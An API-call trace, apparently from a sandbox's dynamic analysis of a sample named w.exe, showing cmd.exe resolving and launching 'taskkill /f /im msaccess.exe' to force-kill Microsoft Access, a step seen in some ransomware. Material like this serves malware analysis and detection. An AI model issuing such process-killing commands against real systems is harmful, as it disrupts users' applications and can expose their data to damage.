	[0044.764] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x412a60
	[0044.764] GetProcessHeap () returned 0x3f0000
	[0044.764] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd8) returned 0x402e50
	[0044.764] GetProcessHeap () returned 0x3f0000
	[0044.764] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x402e50, Size=0x72) returned 0x402e50
	[0044.764] GetProcessHeap () returned 0x3f0000
	[0044.764] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x402e50) returned 0x72
	[0044.764] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f00640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0044.764] GetProcessHeap () returned 0x3f0000
	[0044.764] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe0) returned 0x402ed0
	[0044.767] GetProcessHeap () returned 0x3f0000
	[0044.767] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x402ed0, Size=0x76) returned 0x402ed0
	[0044.767] GetProcessHeap () returned 0x3f0000
	[0044.767] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x402ed0) returned 0x76
	[0044.768] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0044.768] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im msaccess.exe ", fInfoLevelId=0x1, lpFindFileData=0x3af53c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3af53c) returned 0xffffffff
	[0044.768] GetLastError () returned 0x3
	[0044.768] GetProcessHeap () returned 0x3f0000
	[0044.768] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40aa28 | out: hHeap=0x3f0000) returned 1
	[0044.768] GetProcessHeap () returned 0x3f0000
	[0044.768] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ea38 | out: hHeap=0x3f0000) returned 1
	[0044.768] GetProcessHeap () returned 0x3f0000
	[0044.768] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x406a10 | out: hHeap=0x3f0000) returned 1
	[0044.768] GetConsoleOutputCP () returned 0x1b5
	[0044.768] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49ef4260 | out: lpCPInfo=0x49ef4260) returned 1
	[0044.768] GetUserDefaultLCID () returned 0x409
	[0044.769] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49ef4950, cchData=8 | out: lpLCData=":") returned 2
	[0044.769] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3af968, cchData=128 | out: lpLCData="0") returned 2
	[0044.769] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3af968, cchData=128 | out: lpLCData="0") returned 2
	[0044.769] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3af968, cchData=128 | out: lpLCData="1") returned 2
	[0044.769] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49ef4940, cchData=8 | out: lpLCData="/") returned 2
	[0044.769] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49ef4d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0044.769] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49ef4d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0044.769] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49ef4d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0044.769] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49ef4cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0044.769] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49ef4c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0044.769] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49ef4c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0044.770] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49ef4c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0044.770] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49ef4930, cchData=8 | out: lpLCData=".") returned 2
	[0044.770] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49ef4920, cchData=8 | out: lpLCData=",") returned 2
	[0044.770] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0044.771] GetProcessHeap () returned 0x3f0000
	[0044.771] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x0, Size=0x20c) returned 0x402f50
	[0044.771] GetConsoleTitleW (in: lpConsoleTitle=0x402f50, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0044.771] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0044.771] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0044.771] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0044.771] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0044.772] GetProcessHeap () returned 0x3f0000
	[0044.772] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x400a) returned 0x406a10
	[0044.772] GetProcessHeap () returned 0x3f0000
	[0044.772] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x406a10 | out: hHeap=0x3f0000) returned 1
	[0044.772] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0044.772] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0044.772] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0044.772] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0044.773] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0044.773] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0044.773] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0044.773] GetProcessHeap () returned 0x3f0000
	[0044.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x403168
	[0044.773] GetProcessHeap () returned 0x3f0000
	[0044.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1a) returned 0x405710
	[0044.773] GetProcessHeap () returned 0x3f0000
	[0044.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x34) returned 0x4031c8
	[0044.774] GetConsoleTitleW (in: lpConsoleTitle=0x3af660, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0044.774] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0044.774] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0044.774] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0044.775] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0044.775] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0044.775] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0044.775] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0044.775] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0044.775] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0044.775] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0044.775] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0044.775] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0044.775] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0044.775] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0044.775] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0044.775] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0044.775] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0044.775] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0044.775] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0044.775] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0044.775] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0044.775] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0044.775] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0044.775] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0044.775] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0044.775] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0044.775] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0044.775] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0044.775] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0044.775] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0044.775] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0044.775] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0044.775] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0044.775] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0044.775] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0044.775] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0044.775] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0044.775] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0044.775] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0044.776] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0044.776] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0044.776] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0044.776] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0044.776] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0044.776] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0044.776] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0044.776] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0044.776] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0044.776] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0044.776] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0044.776] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0044.776] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0044.776] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0044.776] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0044.776] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0044.776] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0044.776] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0044.776] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0044.776] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0044.776] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0044.776] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0044.776] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0044.776] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0044.776] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0044.776] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0044.776] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0044.776] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0044.776] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0044.776] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0044.776] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0044.776] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0044.776] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0044.776] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0044.777] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0044.777] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0044.777] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0044.777] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0044.777] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0044.777] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0044.777] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0044.777] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0044.777] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0044.777] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0044.777] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0044.777] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0044.777] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0044.777] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0044.777] GetProcessHeap () returned 0x3f0000
	[0044.777] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x210) returned 0x403208
	[0044.777] GetProcessHeap () returned 0x3f0000
	[0044.777] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x403420
	[0044.777] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0044.778] GetProcessHeap () returned 0x3f0000
	[0044.778] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x418) returned 0x3f07f0
	[0044.778] SetErrorMode (uMode=0x0) returned 0x8003
	[0044.778] SetErrorMode (uMode=0x1) returned 0x0
	[0044.778] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3f07f8, lpFilePart=0x3af180 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3af180*="Desktop") returned 0x25
	[0044.778] SetErrorMode (uMode=0x8003) returned 0x1
	[0044.778] GetProcessHeap () returned 0x3f0000
	[0044.778] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x3f07f0, Size=0x66) returned 0x3f07f0
	[0044.778] GetProcessHeap () returned 0x3f0000
	[0044.778] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x3f07f0) returned 0x66
	[0044.778] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0044.778] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0044.778] GetProcessHeap () returned 0x3f0000
	[0044.778] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x120) returned 0x403470
	[0044.778] GetProcessHeap () returned 0x3f0000
	[0044.778] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x238) returned 0x3f0860
	[0044.780] GetProcessHeap () returned 0x3f0000
	[0044.780] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x3f0860, Size=0x122) returned 0x3f0860
	[0044.780] GetProcessHeap () returned 0x3f0000
	[0044.780] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x3f0860) returned 0x122
	[0044.780] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f00640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0044.780] GetProcessHeap () returned 0x3f0000
	[0044.780] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe0) returned 0x3f0990
	[0044.780] GetProcessHeap () returned 0x3f0000
	[0044.780] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x3f0990, Size=0x76) returned 0x3f0990
	[0044.780] GetProcessHeap () returned 0x3f0000
	[0044.780] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x3f0990) returned 0x76
	[0044.780] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0044.780] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x3aeefc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aeefc) returned 0xffffffff
	[0044.780] GetLastError () returned 0x2
	[0044.780] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x3aeefc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aeefc) returned 0xffffffff
	[0044.781] GetLastError () returned 0x2
	[0044.781] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0044.781] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x3aeefc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aeefc) returned 0x3f0a10
	[0044.781] GetProcessHeap () returned 0x3f0000
	[0044.781] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x0, Size=0x14) returned 0x403598
	[0044.781] FindClose (in: hFindFile=0x3f0a10 | out: hFindFile=0x3f0a10) returned 1
	[0044.781] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x3aeefc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aeefc) returned 0xffffffff
	[0044.781] GetLastError () returned 0x2
	[0044.781] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x3aeefc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aeefc) returned 0x3f0a10
	[0044.781] GetProcessHeap () returned 0x3f0000
	[0044.781] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x403598, Size=0x4) returned 0x403598
	[0044.781] FindClose (in: hFindFile=0x3f0a10 | out: hFindFile=0x3f0a10) returned 1
	[0044.781] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0044.781] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0044.781] GetConsoleTitleW (in: lpConsoleTitle=0x3af3f4, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0044.782] InitializeProcThreadAttributeList (in: lpAttributeList=0x3af27c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3af344 | out: lpAttributeList=0x3af27c, lpSize=0x3af344) returned 1
	[0044.782] UpdateProcThreadAttribute (in: lpAttributeList=0x3af27c, dwFlags=0x0, Attribute=0x60001, lpValue=0x3af33c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3af27c, lpPreviousValue=0x0) returned 1
	[0044.782] GetStartupInfoW (in: lpStartupInfo=0x3af238 | out: lpStartupInfo=0x3af238*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc8, hStdOutput=0xac, hStdError=0xb8)) 
	[0044.782] GetProcessHeap () returned 0x3f0000
	[0044.782] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x3f0a10
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0044.782] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0044.783] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0044.783] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0044.783] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0044.783] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0044.783] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0044.783] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0044.783] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0044.783] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0044.783] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0044.783] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0044.783] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0044.783] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0044.783] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0044.783] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0044.783] GetProcessHeap () returned 0x3f0000
	[0044.783] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x3f0a10 | out: hHeap=0x3f0000) returned 1
	[0044.783] GetProcessHeap () returned 0x3f0000
	[0044.783] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa) returned 0x3ffee0
	[0044.783] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0044.785] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im msaccess.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3af2d8*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im msaccess.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3af324 | out: lpCommandLine="taskkill  /f /im msaccess.exe ", lpProcessInformation=0x3af324*(hProcess=0x78, hThread=0x74, dwProcessId=0xb8c, dwThreadId=0xb84)) returned 1
	[0044.790] CloseHandle (hObject=0x74) returned 1
	[0044.790] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0044.790] GetProcessHeap () returned 0x3f0000
	[0044.790] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405ed0 | out: hHeap=0x3f0000) returned 1
	[0044.790] GetEnvironmentStringsW () returned 0x414a48*
	[0044.790] GetProcessHeap () returned 0x3f0000
	[0044.790] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb36) returned 0x404090
	[0044.790] FreeEnvironmentStringsW (penv=0x414a48) returned 1
	[0044.790] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0045.073] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x3af218 | out: lpExitCode=0x3af218*=0x80) returned 1
	[0045.073] CloseHandle (hObject=0x78) returned 1
	[0045.073] _vsnwprintf (in: _Buffer=0x3af360, _BufferCount=0x13, _Format="%08X", _ArgList=0x3af224 | out: _Buffer="00000080") returned 8
	[0045.073] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0045.073] GetProcessHeap () returned 0x3f0000
	[0045.073] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x404090 | out: hHeap=0x3f0000) returned 1
	[0045.073] GetEnvironmentStringsW () returned 0x404090*
	[0045.073] GetProcessHeap () returned 0x3f0000
	[0045.073] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb5c) returned 0x405ed0
	[0045.073] FreeEnvironmentStringsW (penv=0x404090) returned 1
	[0045.073] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0045.073] GetProcessHeap () returned 0x3f0000
	[0045.073] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405ed0 | out: hHeap=0x3f0000) returned 1
	[0045.073] GetEnvironmentStringsW () returned 0x404090*
	[0045.073] GetProcessHeap () returned 0x3f0000
	[0045.073] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb5c) returned 0x405ed0
	[0045.073] FreeEnvironmentStringsW (penv=0x404090) returned 1
	[0045.073] GetProcessHeap () returned 0x3f0000
	[0045.073] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x3ffee0 | out: hHeap=0x3f0000) returned 1
	[0045.073] DeleteProcThreadAttributeList (in: lpAttributeList=0x3af27c | out: lpAttributeList=0x3af27c) 
	[0045.073] _get_osfhandle (_FileHandle=1) returned 0xac
	[0045.073] SetConsoleMode (hConsoleHandle=0xac, dwMode=0x0) returned 0
	[0045.074] _get_osfhandle (_FileHandle=1) returned 0xac
	[0045.074] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x49ef41ac | out: lpMode=0x49ef41ac) returned 0
	[0045.074] _get_osfhandle (_FileHandle=0) returned 0xc8
	[0045.074] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x49ef41b0 | out: lpMode=0x49ef41b0) returned 0
	[0045.074] GetConsoleOutputCP () returned 0x1b5
	[0045.074] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49ef4260 | out: lpCPInfo=0x49ef4260) returned 1
	[0045.074] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0045.074] exit (_Code=128) 

Process:
	id = "57"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4a284000"
	os_pid = "0xb8c"
